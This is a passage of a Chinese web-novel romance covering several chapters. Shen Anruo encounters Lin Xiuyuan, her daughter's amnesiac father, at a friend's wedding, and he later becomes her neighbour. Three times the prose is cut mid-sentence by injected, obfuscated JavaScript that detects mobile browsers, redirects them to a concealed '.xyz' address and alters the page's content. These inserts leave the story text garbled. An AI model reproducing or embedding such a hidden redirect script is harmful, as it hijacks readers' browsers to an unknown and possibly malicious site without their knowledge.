“这周末夏媛姐结婚您得去哈,她又给我发信息了,说必须得把您请到场。” 黄桂琴连连摆手:“我可不去,她那婆家不是一般的人家,我一个只会做饭的老婆子不去给她丢人现眼。” 沈安若道:“什么叫丢人现眼,到时候您就穿我给您买的那身衣服,我再给您化个妆做个头发,就您这身段儿,人一看,准得以为是哪个电影大明星到场了。” 黄桂琴笑得不行,拿一只鸡爪堵住了她的嘴,还电影大明星,她还真敢说。 周末,黄桂琴还是一起去了夏媛的婚礼,诺诺一句话就给搞定了,她今天要当花童,桂姨婆得给她拍照片,别人拍的都不行,只有姨婆拍的她最喜欢。 黄桂琴一听这话哪儿还能不去,对她桂姨婆,诺诺一向比沈安若有办法。 婚礼定在松月山庄,夏媛怕麻烦,原都不打算办这个婚礼,但李寒峻是家里最得宠的小儿子,又是三个孩子中头一个结婚的,不办过不了家里长辈那一关。 几经商量,最后还是决定办一个小型的,只邀请至亲好友,夏媛能省的程序都省掉了,连伴郎伴娘都没安排。 虽说只是个小型的仪式,也热闹得很,李家在江城的地位数一数二,江城有头有脸的人物少不得都要来讨一杯喜酒喝。 场地按照夏媛的喜好布置成了户外的中式,到处都是红玫瑰的海洋,诺诺一到就和一群小朋友撒欢儿玩到了一起。 桂姨去了洗手间,沈安若视线停在女儿身上,和夏媛的妹妹聊着天。 夏媛是沈安若之前的同事,当初林氏集团到江大校招,沈安若就是被夏媛给招进江城分公司的,两人性子相投,几年同事下来,亦师亦友。 后来夏媛从林氏离职自己创业开宠物店,沈安若调去林氏总部在北城工作两年多又辞职回到江城,两人中间一直没有断了联系,情分比旁人更亲厚,连彼此的家人都熟识。 俩人正聊到夏媛,沈安若就接到了正主儿打来的电话。 夏媛在那头压着嗓音,又有些急:“李寒峻说林总今天可能也会来,林总和我那个大伯哥李寒山的关系打小就好,铁哥们儿的那种,他这阵子正好在江城,李寒山就把他请过来了。” 她欲言又止。 夏媛听李寒峻提过一些,知道林总从昏迷中醒来失了记忆,但她不知道林总记得什么不记得什么,夏媛虽然从来没有问过诺诺的爸爸是谁,她心里是有答案的。 当年林总来江城接管分公司,身份虽然没有对外公开,但大家都猜到了他就是林氏的太子爷,毕竟同样都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506417|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓林,容貌又和老林董年轻的时候有几分相似。 不过林总的行事做派却与老林董大有不同,老林董平易近人,和蔼温润,无论对谁总是让人如沐春风。 而林总雷厉风行,手段狠辣,做事最讲究效率和效益,不会任何念及旧情,来江城短短半个月的时间,就将那帮只会饱食终日的老臣子们收拾了个利落干净。 林总为人虽然强势,在工作上要求又极其严格,但向来是对事不对人。 唯独对安若这个助理,总是颇多挑剔,言语讥嘲,态度轻视,安若要是犯了什么错,把她叫到办公室劈头盖脸骂上一顿也不是没有的事情。 可大家也奇怪,林总就是骂得再狠,也从没说过让安若收拾东西走人的话,而安若就算是被骂得掉了眼泪,第二天肿着眼睛该上班还是来上班,从来没有提过离职或是不干。 同事间对安若同情的多,看热闹的也不是没有,毕竟有眼睛的都能看出林总对她的针对,说是厌恶都不为过。 在最初的时候,夏媛也这么认为。 有一件事夏媛至今跟谁都没说过。 那是一个隆冬的雪夜,她在外面和朋友聚完餐,临时回公司处理些工作,她以为办公室只安若一个人在加班,刚走进门口,看到了她意料之外的一幕。 办公室的尽头,昏黄的灯光下,安若趴在办公室桌上睡得安静,林总站在她身旁,手抬起,似是要触碰她的脸,却迟迟没有落下。 那种复杂的眼神让夏媛想到她想戒又戒不掉的烟瘾,明明知道不该碰,却还是克制不住心里的痒。 一直到最后,林总的手也没有落下,只是把椅背搭着的衣服盖到了安若身上,在他转过身的那刻,安若睁开了眼,眼里有夏媛看不懂的迷惘。 后来林总离开江城,安若因为家里的事情有一年多没来公司,她再见到她,是在诺诺满月的时候,她的精神很好,却瘦得不成样子,一点都没有产妇该有的那种丰润。 她什么都没问,只是紧紧抱住了她,那是她第一次体会到心疼一个人是什么感觉。 夏媛不清楚安若和林总到底有怎样的纠葛,她只希望安若不要受到任何伤害。 电话里很安静,夏媛看一眼手机,还在通话中,她止住化妆师推过来的手,提起婚纱起身往外走,试探地叫,“安若?” 沈安若“嗯”一声,看着远处走来的人,轻声道:“我看到他了。” 贺怀章一进来,第一眼就落到了沈安若身上。 她身着一件香云纱的淡色旗袍,站在盛放的玫瑰花墙旁,明艳又婉约,他看到她也在看他,俊朗的眉眼扬出笑,大步朝她走去。 等走近才发现她在看的好像不是他,贺怀章意识到什么,看向走在他前面的男人,他们前后脚下的车,他对这个男人不陌生,他有着让人过目不忘的气场,他不久前才在机场见过他。 正在玩儿老鹰捉小鸡的诺诺看到来人,眼睛亮起来,她攥着手里的气球,倒着两条小腿跑过去。 一前一后的两个男人看到飞跑来的翩跹小蝴蝶,脚步同时滞了下,又不约而同地加大步伐,上前去迎她。 诺诺眼里只能看到一个人,她绕过挡着她路的人,停也不停地奔向贺怀章。 贺怀章半蹲下身,将小姑娘抱起来,诺诺依偎在他怀里,甜甜地笑:“怀章叔叔,你今天好帅呀。” 话说完,前面传来几声止不住的低咳。 诺诺的注意力被吸引过去,她转过头,好奇地打量着这个比怀章叔叔还要高的男人,水灵灵的大眼睛忽闪两下。 她怎么觉得这位冷冷酷酷的叔叔有些眼熟。 5. 第 5 章 诺诺看得太认真,攥着的气球都松了劲儿,从她手边悄咪咪地溜走,贺怀章及时给她抓住,诺诺看回贺怀章,使劲鼓掌:“怀章叔叔,你太厉害了!” 贺怀章笑容更深,这个小姑娘尤其会捧场。 沈安若径直走过来,伸手抱诺诺:“咱去夏姨姨那儿了,待会儿要开始彩排了,”又看贺怀章,“你和我一块儿过去跟夏媛姐打个招呼?” 夏媛算是沈安若他们公司的第一批客户,她的宠物店已经开了几家分店,每开一家店都会从沈安若他们这儿购买一批产品。 冯宝珠经常说要是没有夏媛姐当初的支持,给了他们一个开门红的好兆头,公司也不可能发展这么顺利,冯宝珠人还在德国,回不来,贺怀章今天是代表公司来给夏媛道喜的。 他温声应好,抱着诺诺没松手:“我抱吧,我的手已经没事儿了。” 诺诺不用谁抱,她让怀章叔叔放她下来,小大人儿似的语气:“我已经长大了,可以自己走的。” 贺怀章尊重小姑娘的想法,把她放到草地上,诺诺一手拉着妈妈,一手拉着怀章叔叔,蹦蹦跳跳走了两步就荡起了秋千,开心极了。 她早就将别人抛到了脑后,一时的好奇心并不能得到她更多的关注。 但沈安若绕不开前面的人,肩膀擦过他的肩膀,银色的腕表进到她的眼里,她神色微怔,又及时收回目光,快步跟上诺诺。 陈瑾舟从后面走过来,停在林修远身旁,看着走远的三人,啧啧地感叹:“真是幸福的一家三口啊。” 李寒山刚接完电话,也走过来,不明所以地看陈瑾舟:“什么幸福的一家三口?” 陈瑾舟这段时间心里守着一个大秘密,谁都不能说,都快要憋死,话到嘴边,看他三哥一眼,又硬生生地给咽了下去,语意不详道:“没什么,说了你也不懂。” 李寒山被他这副看起来至少便秘了一周的样子弄得有些不耐烦:“你有话就说有屁就放,跟我在这儿卖什么关子呢?” 陈瑾舟等的就是这句话,他凑到李寒山边上,刻意收着声音,又没收得太低:“你没看出来三哥的头顶多了点东西。” 李寒山望向林修远,他只看到了黑漆漆的寸头,别的什么都没看到。 陈瑾舟看着一无所知的李寒山,心里突然涌上一种众人皆醉我独醒的快感:“我好想去听孙燕姿的演唱会啊。” 那首歌怎么唱来着?翻越过前面山顶和层层白云,绿光在哪里。 绿光能在哪里,不就在这里,在他三哥的头顶里,要不今晚的afterparty,他就上台献唱一首绿光,一展歌喉,给这场婚礼添个兴。 陈瑾舟正想美事儿想得高兴,屁股上被重重地踹了一脚,林修远收起腿,面无表情地离开,都懒得看他。 李寒山指着差点儿摔个狗吃屎的陈瑾舟笑得前仰后合:“活该!让你丫在这儿给我装,我都跟你说了得罪谁都别得罪你三哥,他只是失了忆,又不是丢了脑子,就算他真回到十八,你长到现在的这点心眼儿也玩儿不过他,小心哪天怎么死的你都不知道。” 陈瑾舟凭借自己高超的平衡力,勉勉强强站稳,他拍拍屁股,哼一声:“我玩儿不过自然有人玩儿的过,你等着看吧,总会有人替我报仇。” 李寒山才不信:“能玩儿得过老三的人怕是还没有出生,你且慢慢等吧。” 陈瑾舟笑得高深莫测,怎么还没出生,没看到小姑娘一眼看过来,他三哥连动都不敢动一下。 小姑娘模样儿随了妈妈,是真漂亮,粉雕玉琢的,一笑起来能甜到人心眼儿里去,好像喝糖水儿长大的一样。 看小嫂子对三哥这瞅都不瞅一眼的架势,两人当初铁定分开得不愉快,最关键的是三哥又什么都不记得,这以后可有热闹瞧了。 李寒山越看陈瑾舟这个傻笑的样儿越像白痴,他实在没忍住,上手一巴掌拍上了他的后脑勺,陈瑾舟刚稳住的身体一歪,倒在了旁边的气球海洋里,被压爆的气球接二连三地啪啪响起。 诺诺远远地听到,拉着妈妈和怀章叔叔跑了起来:“呀!放鞭炮喽,新郎官儿要来娶新娘子喽!” 林修远盯着前面那一大一小的身影,神色难辨。 他们之间的事情,她应该从一开始就没打算给他半句实话,他再无聊,也不至于会拿谁当个逗闷子的玩意儿。 沈安若对身后的目光似有所感,不自觉地回头望,两人的视线重叠一秒,又各自错开。 他才醒过来那阵子,诺诺在病房里见过他两面,他那时头发都被剃没了,人又整个瘦得不成样子,跟现在完全不一样,诺诺刚才应该是没有认出他。 她前几天已经接到了他律师的电话,她一直都知道他不是一个小气的人,以前也是。 那几年她虽然有一年多的时间没有工作,但在用钱上还算宽裕,除了房租,她和诺诺的日常开销,支付给桂姨的工资,还能够攒下钱来买一套房子。 林氏对员工在业内著称的高薪水高福利是一方面的原因。 还有就是她不算是一个有骨气的人,当年他送她的那些东西,她没有还给他,也没有扔掉,一件没留全都置换成了钱,她从来不会跟钱过不去。 其实她没想到那些东西能换出那样多的钱,有好多牌子她都不认识,也是查过之后才知道。 而她送过他的也就只有一块儿表,还是在日内瓦的机场买的打折款,折算成人民币也就一千多块钱。 闹掰那天他将那块儿表扔到了垃圾桶,没想到今天又出现在了他的手腕上。 腿上压过来的重量将沈安若从旧事的思绪中拉回,一个小男孩儿搂着她的腿委屈巴巴地叫“妈妈”,等抬起头才发现自己认错了人,又急急地转身去找自己的妈妈。 本是一个无关紧要的小插曲,进了休息室被夏媛一提醒才看到膝盖上沾了脏,应该是那小男孩儿嘴上的巧克力酱给蹭到的,擦也擦不掉,衣服又是浅色,明晃晃的一块儿,很难让人忽略掉。 好在夏媛这儿有备用的裙子,不过沈安若试过几件都卡在胸上,这些衣服都是设计师按照夏媛的身材做出的最贴合的尺寸,一寸都不多。 夏媛看着镜子里的人,由衷地羡慕:“你说你胳膊腿儿的明明比我瘦,这该肉多的地方又比我多出这么多。” 她说着话还上手捏了一把,手感是真好。 沈安若红着脸拍开她的手,又道:“你不用在这儿陪我,去忙你的,要是不行我就让桂姨回家去给我拿一件,反正这儿离我那儿也不远,来回来去二十分钟就够了。” 夏媛帮她拉下后背的拉链:“我有什么可忙的,妆化好了,待会儿直接上场就行,你不知道李寒峻那傻子昨天半夜抽风,拽着我跑过来彩排了大半宿,我现在闭着眼都能走完那段路。” 沈安若想到新郎官那拿粉底都难盖住的黑眼圈,不由弯眼笑。 夏媛看她终于笑了出来,松一口气。 沈安若知道夏媛姐早就猜到了诺诺的爸爸是谁,也不想再瞒她:“我没事,他已经知道了诺诺。” 她只说了一句就止住,不知道该怎么说下去,当初她和他的事没人知道,要和夏媛姐真的解释起来,一两句说不清楚。 夏媛捏捏她的手,往别的话头上转:“你不知道我刚才听说他要来,都吓了一跳,你别看我离开公司已经好几年了,现在一想到他,心里还是有些犯怵,当初我搞砸了嘉诚那个项目,他是一句话都没骂我,但看我的那一眼就让我做了好几晚的噩梦,他们那种出身的人,大概从娘胎里一生出来就带着不怒自威的本事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506418|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她说着说着又忍不住想要八卦一下,毕竟那可是被媒体誉为芝兰玉树世无双的林修远,多少人曾前仆后继地想近他的身,可是从来没一条绯闻传出来过:“我都想象不到林总那种冷冰冰冰的人要怎么追人,他跟你说要在一起的时候难道也那样冷着一张脸?” 沈安若指尖滞在裙摆上,实话实说:“….是我追的他。” 夏媛愣住,目光炯炯地看她:“沈安若,你厉害啊!以后我得叫你姐,你这可真是闷声干大事儿,就你这么个温柔内敛的性子还会追人?!” 沈安若眨了眨眼,话说得轻松:“那个时候大概是鬼迷了心窍。” 夏媛哈哈大笑起来:“这不奇怪,林总是冷了些,但皮相绝对是上乘中的上乘,绝对有让人鬼迷心窍的资本,睡上他几次,一点儿也不亏。” 话音还未落,休息厅的门被“咚咚”地敲响,工作人员在外面慌慌张张地喊:“李太太,您快去劝劝吧,李先生跟人打起来了,这可怎么办啊,婚礼可马上就要开始了。” 夏媛一听就知道是怎么回事儿,她对沈安若道:“不是什么大事儿,李寒峻就是皮痒了,我先过去看看,这些衣服你也别试了,我估计都不行,我还是让人从店里给你直接拿件过来,很快。” 沈安若推着她往外走,还管什么衣服,她怎么也能应付过去,李寒峻那儿才是要紧事儿。 夏媛说是不着急,脚步也不由地快起来,夏媛走后,沈安若不放心,怕她再和李寒峻吵起来,给桂姨打了个电话,没打通,又打到贺怀章那儿,他和桂姨带着诺诺去彩排了。 贺怀章说场面已经控制下来了,不严重。又道,诺诺这儿彩排得很顺利,他们马上就能回去。 沈安若这才安下心,她把试过的衣服全都整理好挂到衣架上,又将自己的裙子重新穿上,看了看脏的那块儿,要是粘上些浅色的花瓣,也不是不能遮掩过去,自己包里好像有卷双面胶,上次诺诺手工课上剩下的。 她正在翻包,手机和外面的敲门声同时响起,她拿起手机,又走出隔间去开外厅的门。 夏媛发来语音信息,语气有些神神秘秘的,“又给你找了一件衣服,已经让人给你送过去了,这件应该会合适。” 门外的工作人员不确定地看她:“沈安若小姐?” 沈安若点头:“对,我就是。” 工作人员双手捧着衣服递上:“您的衣服。” 沈安若没想到送来得这样快,她接过来,跟工作人员道了谢,又在手机上回夏媛说衣服拿到了。 夏媛发来个戴墨镜的酷酷表情,让她快试试。 奶杏色长裙,修裁简单,是沈安若惯常会穿的那种款式。 胸围比刚才那几件要宽松些,但对她来说还是有些紧,要是生诺诺前,这件裙子的尺码会适合她,但她月子里喝了太多的猪蹄儿汤,补的那点东西全都长到了胸上。 拉链卡到肩胛骨处,再也拉不上去,要是有谁在后面帮她抻着些,估计是能穿上的,可刚才送衣服的那位工作人员已经去忙别的了。 外面的房间传来声响,听着像是桂姨他们回来了,沈安若打开隔间的门,在厅里没看到人,她手捂着胸口,又探出些身去。 有人站在外厅的门口,圆柱挡着,只露出西装下摆的一角。 沈安若以为是贺怀章,正好可以让他帮忙叫个女工作人员过来。 她扯过衣架上的披肩裹到身上遮住半裸的背,开口叫人:“怀章,你能帮我--” 话到一半,圆柱后的人转过身来,沈安若的声音止在他冷沉的目光里,披肩的一角从她手里悄然脱落,她都没察觉到。 林修远扫过她雪白的肩颈,嗓音有些淡:“他正在和一位年轻的女士热聊,现在应该没时间来帮你。” 6. 第 6 章 沈安若顿了下,不知道他怎么会认识贺怀章,又不想和他有过多的交流,点点头表示知道了。 两人隔空对望,谁都没有再说话,脸上是相似的冷然。 秋日的阳光穿过玻璃淌进来,如水银般稀稀碎碎泻了一地,走廊里人声喧嚣,屋内只有中世纪的落地挂钟在一摇一摆地晃动着。 沈安若想问他过来是有什么事情吗,话还没出口,他就朝她走来,不紧不慢的步伐,她的神经条件反射般地起了紧绷,看着他一步一步地靠近,都忘了自己要说什么。 林修远停在她两步之外的距离,问得随意:“衣服不合身?” 沈安若一怔,又摇头。 两个人离得过于近,他身形又比她高出很多,经过一年的恢复,他不再是那个躺在病床上瘦骨伶仃没有丝毫活人气儿的病人,只站在这儿,就有一种扑面而来的压迫感。 她想把他支走:“你能不能帮我叫个女工作人员进来?” 说着话,往后挪了半步脚,想离他远一些,又发现披肩不知道什么时候掉下去了一角,什么都没遮住,她忙将披肩捞起,裹紧。 林修远不冷不淡地瞧她一眼,转过身,拿出手机要叫人进来。 诺诺跟桂姨和贺怀章说话的声音在半掩的门口响起,三人越走越近,眼看要推门进来。 沈安若不想诺诺在这么突然的情况下和他碰面说上话,她伸手拽住他的胳膊,将他直接拉进隔间,又关紧门。 两人面对面地站在门后,距离比刚才更近了些,她的掌心攥着他的手腕,一冷一烫的温度在毫无缝隙的贴合中交融。 林修远垂眸看她,沈安若松开他的手,背抵到墙上,用眼神示意他别出声。 诺诺在外面叫沈安若:“妈妈,你在哪个房间呀,我彩排完啦。” 沈安若出声回:“妈妈在换衣服,一会儿就好。” 诺诺闻声小跑过来,站在隔间的门前,脸贴着门缝,小小声问:“妈妈要我帮你吗?” 妈妈穿漂亮裙子的时候,都是她给妈妈拉拉链的。 沈安若怕她会推门进来,胳膊撑着门板:“今天不用,妈妈自己能穿好,你累不累,让姨婆给你倒些水喝。” 诺诺“哦”一声,乖乖应好,跑去找姨婆喝水。 沈安若手背到身后,在披肩下摸到拉链,想再用些力试试,可还是拉不上,她迟疑半瞬,仰头看面前的男人,用只有两个人听到的气声道:“能不能帮我一下?” 林修远将她脸上细微的表情变化尽收眼底,不动声色地问:“怎么帮?” 沈安若直接转过身,落下披肩。 脊背瘦削柔软,皮肤细腻如奶白的玉。 空气里注入了一丝静谧,时间在安静里被一点点被拉长,磨着人的心。 沈安若迟迟等不来他的动作,却能感觉到他的目光落在她身上凌迟般的灼烧,她突然意识到自己是病急乱投医了,就算再着急也不该找上他帮这个忙。 她攥着披肩要往上拉,手还未抬起,一点温热猝不及防地触碰到她的背,脊骨倏地起了些战栗,很轻。 沈安若压住呼吸,不想让他看出异样,等拉链拉到顶端,立刻弹跳般地远离开他,她大致扫了眼镜子,觉得没问题,拾起自己的衣服和手机全都塞到包里,又提起包,不看他,低声道:“你待会儿再出去。” 他的声音在她耳畔响起:“冯律师说那些文件你还没有签字?” 沈安若脚步顿住,没回头:“文件太多了,我还没看完。” 林修远视线停在她的侧脸:“我什么时候才可以见女儿?” 沈安若想了想,怎么也要等她忙完风投公司来考察的事情:“下个月吧,你等我消息。” 她握上门把,停一秒,他没有别的话再说,她打开门,又关上。 薄薄的门板将他的视线完全阻隔住。 门外是诺诺软软糯糯的声音,先高兴道“妈妈你好漂亮哇,像新娘子一样”,又关心问“妈妈,你的脸怎么这么红呀,很热吗?” 听不清她回了什么,几人的脚步声渐远,只留一室的阳光。 林修远摩挲了下食指残留的温热。 他以为他对她这个人是全然的陌生,但他能对工作人员脱口说出她具体的穿衣尺码,还有刚才不经意的触碰。 是熟悉的。 梦里梦到的那些应该不只是梦。 婚礼结束后,新娘新郎直接飞去了海岛度蜜月,因为李寒峻和夏媛的前男友在婚礼上干的那一仗,夏媛还在和他冷战中,两人晚上在床上折腾得死去活来,白天都是各自行动,谁都不搭理谁。 夏媛一个人也能玩得很好,三不五时地给沈安若发几张海边沙滩椰子树外加美男赤身出浴的照片,她那边是阳光热烈的夏天,江城的天儿却是一天比一天凉。 几场淅淅沥沥的雨过后,梧桐树只剩光秃秃的枝干,小院里堆满了金黄色的落叶,脚一踩上去,发出咯吱咯吱的声响。 诺诺很喜欢玩这个游戏,在外面已经踩了半个小时的树叶都不觉得累。 隔壁的院子传来些动静,诺诺听出是一个年轻叔叔的说话声,她眼睛亮了亮,跑到栅栏旁。 小胖家搬走了,又有新邻居要搬进来,她收到了新邻居叔叔给的礼物,是她最喜欢的彼得兔,昨天她在幼儿园,没有见到新邻居叔叔,是姨婆帮她收的,妈妈说要是见到新邻居叔叔,要和他说谢谢。 现在隔着密密实实的栅栏,她虽然看不见新邻居叔叔,但也可以先和叔叔说她很喜欢他的礼物。 诺诺刚要开口叫人,就听到了那头低低泣泣的哭声,很伤心的样子。 一栏之隔的邻院儿,方大川屈膝半蹲在自己女朋友面前,就差要跪地上了。 今天原本一切都好好的。 他这阵子大多的时间都在江城,好不容易赶上一个不用加班的周末,女朋友过来找他玩儿,结果中途接到工人师傅的电话,老板的新家一批家电提前送到了,他只能带着女朋友来给工人师傅开门。 小姑奶奶当下就有些不高兴,他知道这段时间他一直忙工作,人又不在她身边,她心里有气,可是没办法,他的工作性质就是这样,老板在哪儿他就得在哪儿,二十四小时为老板服务,随叫要随到。 虽然老板在某些方面确实有些难伺候,但他对他老板的爱远远多过恨。 因为老板给的实在是太多了,在他的同学们还在为生计东奔西跑的时候,他已经开始计划三年之内在北城买房的事情了。 人为财死鸟为食亡,他方大川,一个天选的打工狗,这辈子生要当林总的人,死要当林总的鬼,林总让他往东他绝不往西,更何况现在只是让他盯一个新房的装修,这点小事他要是都做不好,不用林总发话,他自己就收拾东西滚蛋了。 家电要安装调试,迟迟结束不了,安排好的行程只能先取消,满腹委屈的女朋友问他了一个致命的问题,在他心里,她和他老板谁更重要。 这个问题的答案本来简单又毋庸置疑,但方大川的脑子里不知怎么的就闪了下自己银行卡的余额,以至于没能在第一时间回答出来。 小姑奶奶一下子就怒了,眼泪噼里啪啦地往下砸:“你完蛋了,方大川,你完蛋了!你一点都不爱我,一点都不关心我,我要和你分手!” 剩下的话被方大川全都捂在了掌心,他知道隔壁住的是谁,生怕他们这边的声音传过去。 这边的诺诺也捂住了自己的嘴,不让自己发出一点声音。 沈安若将整理好的文件仔细检查一遍,确认没问题,发到群里,关上电脑,起身走到落地窗前。 院子里的小姑娘正轻手轻脚地向后挪着步子,那个小心的样子像是生怕担心会弄出什么声响。 沈安若推开落地窗,怕吓到她,声音放得轻:“诺诺,做什么呢?” 诺诺看到妈妈,眼里淌出些笑,手离开嘴,指指隔壁院子,很小声地和妈妈解释:“新邻居叔叔好像把女朋友姐姐给惹哭了。” 她哭的时候除了妈妈和姨婆,谁都不想让看到,女朋友姐姐现在应该也不想让别人知道她在哭。 沈安若倒是没有听到那头有什么动静,不过小姑娘的耳朵一向灵,她走到院子里,将她直接抱回了屋,又关上落地窗,照她那个一点一点挪的乌龟速度,就是等太阳落下山她都不一定能挪回屋。 诺诺搂着妈妈的脖子笑,额头碰到妈妈的额头,笑又止住,手摸上去,表情变得严肃:“妈妈,你的头好烫啊。” 沈安若今天一起床,浑身就有些酸疼,这是老毛病,一到换季的时候她总会发几天烧,再加上这阵子忙公司的事情,连着熬了一个星期的夜,现在稍微放松下来,病就容易找上身。 她安抚小姑娘:“妈妈没事儿,可能就是有些发烧,待会儿吃点儿药就好了。” 诺诺捧着妈妈的脸道:“要先吃饭,才能吃药药,还要盖上棉被睡一觉,出出汗才能好。” 沈安若揉揉她蓬松的头发:“我们诺诺真的是长大了,都会照顾妈妈了。” 诺诺挺着小胸脯使劲点头,姨婆不在家,当然是她来照顾妈妈。 沈安若看她一张小脸上全是认真,笑着亲了上去:“好,那我们先做午饭,诺诺帮妈妈一起?” 诺诺高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506419|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地道好。 桂姨的亲姐姐过六十大寿,她这两天回了老家,明天才能回来,走之前把冰箱都给沈安若填满了,有包子饺子还有小馄饨。 午饭沈安若就用早晨熬好的鸡汤煮了些小馄饨,给诺诺做了个清汤的,她嘴里没什么味儿,就给自己调了个酸辣的口儿的。 一大一小两个人肩挨着肩坐在餐桌前,一碗热汤馄饨吃完,都出了一身的汗。 窗外的天阴沉得厉害,入冬前的第一波寒潮将要来袭,前几天小区里已经通了暖气,外面再冷,屋里也是暖烘烘的。 这样的天气,最合适午后睡觉。 沈安若在诺诺的监督下吃完药,母女俩挤在一个被窝里说着悄悄话,不一会儿房间就安静下来。 诺诺先睡着,沈安若跟着女儿一起一伏的呼吸,眼皮落下来前还在想,晚上的时候,要和诺诺提一下爸爸要从南极回来的事情。 在夏媛婚礼上那一面之后,他就没再出现过,但她却频繁地梦到他,她这阵子都没怎么睡好,一入梦便被旧事侵扰。 先是回到小时候下雪的冬夜,她睡在楼顶的阁楼间,昏昏沉沉中被姑父撬锁的响动吓醒,她拿起床头的棍子直接砸向门,又下床将书桌椅子全都堵到门后,然后拿起枕头下的铁锤,裹着被子,躲到衣柜里,睁眼到天明。 场景一转,又到了银海湾的房子里,她半夜从噩梦中乍醒,他人在睡梦中,手自动伸过来,将她从床角搂到怀里,轻轻拍上她的背,她惊悸的心跳贴着他的胸膛慢慢平稳下来。 其实在那个漫长的冬天,有那么很短暂的一刻,她是想将他牢牢抓住的,她喜欢他身上的温度,滚烫又炙热,让她得到了她曾奢求过的温暖。 可也就只有那么一刻而已。 有什么在嗡嗡地响,好像是闹钟,沈安若皱了皱眉,她知道自己现在是在做梦,也知道自己该醒了,但她困在梦魇里,怎么也睁不开眼。 诺诺听到闹铃声,迷迷糊糊地揉了揉眼,转头看到妈妈还在睡,伸手拿过手机关掉闹铃,又摸摸妈妈的额头,好像没有那么烫了。 她有些发懵,起身从被窝里出来,给妈妈掩好被子,轻着动作爬下床,端起床头柜上的杯子咕咚咕咚喝了几口水,又走出卧室,将门掩好,来到客厅,坐到沙发上,托腮看着墙面醒了会儿神,又趴到地毯上和小兔子玩偶一起看起了故事画。 看到故事画里小朋友拿树叶做的蝴蝶,诺诺眨了眨眼,将怀里的小兔子放下,换好鞋,推开落地窗,跑到院子里,弯腰蹲到地上,翻找着好看的叶子,她也要给妈妈做一个小蝴蝶。 她一边找着叶子一边小声哼着歌。 安静的隔壁传来两声轻咳。 诺诺直起身,看向隔壁的院子,犹豫问:“新邻居叔叔?” 半晌,那头“嗯”了声,回应她这个称呼。 诺诺眼睛弯下来,一蹦三跳地又跑到栅栏旁,一字一句地道谢:“叔叔,我是诺诺,谢谢你送给我的礼物,我很喜欢。” 那头回:“不客气。” 诺诺想,新邻居叔叔的声音好好听,低低沉沉的,他应该很会讲故事。 那头静了片刻,问:“你妈妈呢?” “妈妈在睡觉。” “她身体不舒服?” “有一些发烧。” “你那位姨婆在吗?” 那头问一句,诺诺乖乖一句:“姨婆回老家给姨婆姐姐过生日,明天回来。” 林修远抬腕看一眼时间,眉心皱起,已经快五点。 他没有多少和小朋友打交道的经验,只能将嗓音放得尽可能的温和:“待会儿你妈妈要是还不醒,诺诺给叔叔开门,叔叔去看看她,发烧了不能一直睡觉。” 诺诺本来还在放松聊天的心在这一刻起了警惕,妈妈说过不要给陌生人开门,新邻居叔叔虽然送了她礼物,但对她来说还是陌生的叔叔。 她奶声奶气地委婉拒绝:“谢谢叔叔的关心,我会照顾好妈妈的,”她想了想,又道,“叔叔你要多多关心自己的女朋友,不要让女朋友姐姐哭。” 最后还不忘礼貌道别说叔叔再见,说完转身就跑进屋里,关上落地窗,又踮着脚尖给落地窗上了两道锁。 陌生的叔叔怎么可以来她家呢。 有女朋友的叔叔为什么要来看她妈妈? 诺诺在心里初步认定,隔壁的新邻居叔叔好像不是一个好人,就像姨婆看电视剧骂的那种大坏蛋。 那个词叫什么来着?哦,她想起来了。 渣渣男。 因为心黑黑的,像煤炭渣渣。 等妈妈醒来,她要告诉妈妈。 7.第 7 章 方大川带着好不容易哄好的女朋友刚进了餐厅,就接到老板的电话。 他听着老板在那头的冷声问话,瞬间看到了天在他眼前轰然塌陷,他怎么觉得他离卷铺盖走人好像也不远了。 诺诺跑回卧室,妈妈还在睡觉,她趴到床边,伸手摸摸妈妈的头,又摸摸妈妈的脖子,妈妈怎么又烫起来了,她凑到妈妈耳边,小声地叫妈妈。 沈安若浑浑噩噩中能听到有人在叫她,但她嗓子里压着一团火,烧得她又干又疼,像被刀剌,一点声音都发不出来。 诺诺看妈妈好像特别难受的样子,她想起那个新邻居叔叔的话,有些慌,又让自己不要慌。 宝珠姨姨在出差,夏姨姨去找海豚玩儿了,她拿起床头柜的手机,翻出怀章叔叔的微信头像,从怀章叔叔家开车五分钟就可以到她家,怀章叔叔可以来救妈妈。 但是电话打过去怀章叔叔没有接。 门外突然响起敲门声,诺诺心里生出害怕,她跑到玄关口,攥起小拳头给自己壮了壮胆,扬声问:“谁在外面呀?” “诺诺,是我,你姨婆给我打电话了,说你妈妈生病了,让我过来看看。”门外的余至诚警惕地看着旁边的两个男人,回着诺诺的话。 